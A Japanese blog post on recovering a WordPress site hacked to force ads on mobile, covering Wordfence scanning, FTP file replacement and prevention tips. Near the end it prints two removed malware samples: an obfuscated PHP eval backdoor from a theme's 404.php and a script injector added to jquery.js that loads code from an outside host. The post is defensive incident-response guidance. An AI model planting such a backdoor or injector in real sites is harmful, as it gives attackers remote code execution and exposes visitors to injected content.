2019/03/27  40 Shares

WordPressに広告が強制表示されるハッキング被害にあったときの復旧手順と対策

ハッカー

「スマホで自社の WordPress サイトを見ると下部に覚えのない広告が表示されている」

そうご相談いただいて調査したところ、いくつかのコアファイルとテーマファイルが書き換えられていました。明らかにハッキングによるもので、早急に復旧・対策しました。

業者に頼まなくてもある程度自力で解決できるよう、対処法を解説したいと思います。

知らぬ間にハッキング被害に遭っているかもしれませんので、プラグインによるチェックだけは実行してみてください。

ハッキング被害の症状と概要

ご相談いただいた WordPress サイトは以下のような症状でした。

広告が強制表示されたWordPressサイト

  • スマホで閲覧したとき、ページ下部に広告が強制表示されてしまう
  • スマホで閲覧したとき、一部デザインが崩れている
  • 表示速度がかなり遅い(ページ読み込み完了まで数十秒)

管理画面を覗くと、WordPress 本体が少し古いバージョンで、更新が止まってから長年経過したかなり古いプラグインもいくつか見つかりました。

侵入経路は不明ですが、おそらくプラグインが原因でバックドアを仕込まれたものと思われます。

海外でも「WP Marketplace」プラグインなどで同様の事例が報告されており、脆弱性が見つかったプラグイン・古いプラグインは早急に対処しなければ同じ目にあうかもしれません。

WP Marketplace Attack in the Wild – Sucuri Research – Website Monitoring, Recovery and Protection

ハッキング被害から復旧させるまでの手順

今回は以下の手順で復旧作業を行いました。

  1. 古いプラグインを削除
  2. 見知らぬユーザーが追加されていないかチェック(ハッキング被害でたまにあります)
  3. セキュリティプラグインでスキャンし、書き換えられたファイルにあたりをつける
  4. 書き換えられたファイルを FTP で修正

幸いなことに、不審なユーザー追加はされていませんでした。管理者権限で追加されていようものなら好き放題やられてしまうので、たまに覗いてみたほうがよいかもしれません。

また、セキュリティプラグインによるスキャンは、被害にあっていなくても一度やっておいたほうがよいと思います。

その他、サーバーのログが残っていればそちらもチェックしたほうがよいでしょう。サーバーによっては、不正なアクセスがあったり、不審なファイルを検知したときはユーザーに教えてくれます。

それでは、プラグインを使ったスキャン方法とファイルの修正方法を解説していきます。

ハッキングされたファイルをWordfenceで調査する

セキュリティプラグインは「Wordfence」を使いました。無料で使える範囲内でもかなり強力なものです。

Wordfence Security – Firewall & Malware Scan

以下、被害状況をできるだけ再現して解説いたします。

Wordfenceインストール・有効化

プラグイン新規追加画面で「Wordfence Security」を検索し、インストールします。

Wordfence Security – Firewall & Malware Scan インストール

インストール後、有効化すると初期設定画面が表示されます。

以下の順で初期設定をすませましょう。

  • メールアドレス入力(プラグインの更新など各種通知が届きます)
  • ニュースを受け取る場合は YES
  • プライバシーポリシーチェックを入れる
  • 「CONTINUE」をクリック

Wordfence Security 有効化後の初期画面

つぎはライセンスキー入力画面です。

無料のまま使う場合は、「No Thanks」をクリックすればプラグインが有効化されます。スキャンするだけなら無料のままでかまいません。

※有料プランは年間 $99

Wordfence ライセンスキー入力画面

Wordfenceでサイトをスキャンする

有効化後、サイドバーに「Wordfence」という項目が表示されるので、そこから「Scan」を選択します。

スキャン画面に入るとナビゲーションが表示されますが、右上の「×」をクリックして消してもかまいません。

Wordfence スキャン画面

画面上部の通知が気になる場合は、それぞれ以下のリンクテキストをクリックしてください。

  • 黄色ライン・・・DISMISS(プレミアプランの案内を消去)
  • 赤色ライン・・・Yes, enable auto-update.(自動アップデート有効化)

そのまま「START NEW SCAN」ボタンをクリックし、スキャンを開始します。

Wordfence スキャン開始画面

「Server State」から順にスキャンされていき、チェックマークが表示されれば問題ありません。

スキャン中はバーが左右に動いているので、そのまましばらく待機しましょう。

Wordfence スキャン中

他のウィンドウに切り替えてしまうと「Status Updates Paused」というメッセージが表示されます。

スキャン完了まで数分かかります。Wordfence スキャン画面のままにしておいてください。

Wordfence ポーズ画面

Wordfenceで警告が表示されたファイルを修復する

スキャン終了後、問題が見つかった箇所には注意マークが表示されます。今回は「File Changes」に注意マークがついていました。

その下には「WordPress core file modified:」というメッセージとともに、変更が加えられているファイル一覧が表示されています。

jquery.js など WordPress 本体内のファイルが書き換えられているようなので、この時点でハッキングされている可能性大です。

Wordfence アラートメッセージ

Wordfence には修復機能も備わっており、うまくいけばこのままファイルを修正できます。

右上の「REPAIR ALL REPAIRABLE FILES」をクリック。

Wordfence 自動修復「REPAIR ALL REPAIRABLE FILES」

確認メッセージが表示されるので「REPAIR FILES」をクリック。

Wordfence 自動修復 確認画面

修復が完了すればオールグリーンになります。

ブラウザのキャッシュをクリアし、広告表示等がなくなっていればとりあえず OK です。

しかし、以下のように「Could not repair files」というメッセージが表示されたら手動で修正しなくてはなりません…

Wordfence 修正できなかった画面

また、テーマファイルなど Wordfence ではもともと修復できないものもありますから、ハッキングされたファイルがある程度わかったら手動で修復していきましょう。

ここから、FTP を使った手動での修復作業を解説していきます。

ハッキングされたファイルを修復(上書き)していく

WordPress本体ダウンロード・展開

ハッキング前のファイルを入手するために、WordPress 本体をダウンロードしましょう。

WordPress 日本語ダウンロード

WordPress本体をダウンロード

バックアップファイルがある場合はそちらを使ってもかまいません。ただし、バックアップファイル自体がすでにハッキングされたものかもしれないので注意してください。

新たに本体を入手したほうが確実です。

ダウンロード完了後、ZIP ファイルを展開しておきます。

FTPでファイルを上書きしていく

つぎに、FTP で接続し、Wordfence でエラーが出ていたファイルを上書きしていきます。

エラーが出ていたファイルはこの 3 つ。

  • wp-includes/js/jquery/jquery-migrate.min.js
  • wp-includes/js/jquery/jquery.js
  • wp-includes/js/wp-embed.js

PC とサーバーのディレクトリ構造を見ながらファイルを探し、該当するファイルをアップロードして上書きすれば OK です。

FTPで書き換えられたファイルを上書きしていく

いまいちわからない場合は動画をご覧ください。

Wordfenceで再チェック

警告が表示されていたファイルを上書きしたら、Wordfence で再チェックします。

すべてにチェックマークがつき、「No new issues have been found.」と表示されていればひとまず完了です。

Wordfence 「No new issues have been found」

ブラウザのキャッシュをクリアし、サイトの表示を確認してみてください。

もしまだ広告が表示されていたり、おかしな動きをしているときは目視でファイルをチェックしていく必要があります。

ご相談いただいたサイトも、ほかに書き換えられていたファイルがありましたので、参考のため掲載しておきます。

その他不審なファイルを修復/削除していく

不要なファイルを削除

FTP で WordPress 本体を見たところ、コアファイルにもともと含まれていない「333444」という数字だけのファイルが見つかりました。

こちらはハッキングによるものなのか不明でしたが、不要なものなので削除しました。

WordPressにもともと入っていないファイルを発見

また、アップロードディレクトリ内にあるはずのない index.php が見つかり、こちらも削除しました。

WordPressアップロードディレクトリ内に見知らぬファイル

書き換えられていたファイルを修復

テーマファイル内の 404.php に、明らかに不審なコードが仕込まれていました。これがバックドアと呼ばれるものですね。

仕込まれていたのは以下のコードで、これを削除しました。

<?php
$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['wp-admin'])){eval(${$s20}['wp-admin']);}
?>

また、利用中のテーマには jquery.js や bootstrap.js が含まれており、こちらもコアファイル同様書き換えられていたので修復しました。

「更新日時」を見ていけば、どのファイルが書き換えられているかチェックしやすいと思います。

書き換えられたと思われるWordPressテーマファイル

WordPress 本体内の jquery.js など、共通して以下のコードが仕込まれていたのですべて削除しました。

(function(d, s, id) {
  var js, fjs = d.getElementsByTagName(s)[0];
  if (d.getElementById(id)) return;
  js = d.createElement(s); js.id = id;
  js.src = "//stats.atrl.co/jquery.min.js";
  fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'jquery-ui-sdk'));

どのファイルが変更されるかは構成によると思います。

ハッキングが明らかでひとつずつチェックするのが困難な場合は、専門業者を頼るか、クリーンインストールしたほうがよいかもしれません。

ハッキング被害を防ぐためにできること

冒頭でふれたように、ご相談いただいたサイトは古いプラグインから侵入されたのだと思われます。

ハッキング被害を防ぐためにも、以下の点に注意してください。

  • WordPress 本体・プラグイン・PHP バージョンは最新版にしておく(本体の自動更新を止めている場合は要注意)
  • 何年も更新されていないプラグイン・公式ディレクトリから削除されたプラグインは使わない(代替プラグインを探す)
  • セキュリティプラグインを導入する
  • サーバーのセキュリティ機能があるなら可能なかぎり ON にしておく

無料ブログと違い、WordPress の管理は自己責任です。

『最新版だとうまく動かないプラグインがある』という理由で、本体やプラグインをアップデートしないままにしている話をよく聞きますが、かなり危険ですから絶対にやめてください。

被リンク用やテスト用でいくものサイトを保有しており、もう使わなくなったからとメンテナンスせず放置しておくのも危険です。使わないサイトは丸ごと削除しておきましょう。

有名セキュリティプラグイン

今回使用した「Wordfence」以外にも、有名なセキュリティ系プラグインがいくつかありますのでご紹介しておきます。

SiteGuard WP Plugin 不正ログイン対策に重点をおいたプラグイン。サーバーによっては WordPress 自動インストール時に同時にインストールされる。
iThemes Security 総合セキュリティ対策に加え、データベースバックアップ機能も備えたプラグイン。すぐに対処すべき項目が一覧表示されるのでわかりやすい。
All In One WP Security & Firewall 多機能なセキュリティ対策プラグイン。一部サーバーと相性が悪く、500 エラーが発生する可能性あり。
Wordfence Security 今回使用した総合セキュリティ対策プラグイン。ファイアウォール機能やトラフィック解析機能があり、これひとつで十分すぎるぐらい。そのぶん設定が難しい。

Naifix では「Wordfence Security」有料版を使っています。

ご自身の環境に合わせていろいろ試してみてください。

プラグインを入れたから安心、というわけではなく、本体やプラグインの更新は欠かさずに行ってくださいね。

まとめ

見慣れない広告が出現したり、表示がやたらと遅くなっていたときはハッキングされた可能性があります。

とくに長期間放置していた WordPress は狙われやすい(脆い)ので、この機会にぜひ所有サイトをチェックしてみてください。

自力でハッキング被害から復旧させるのは難しいかもしれませんが、ご参考になれば幸いです。

それでは、また。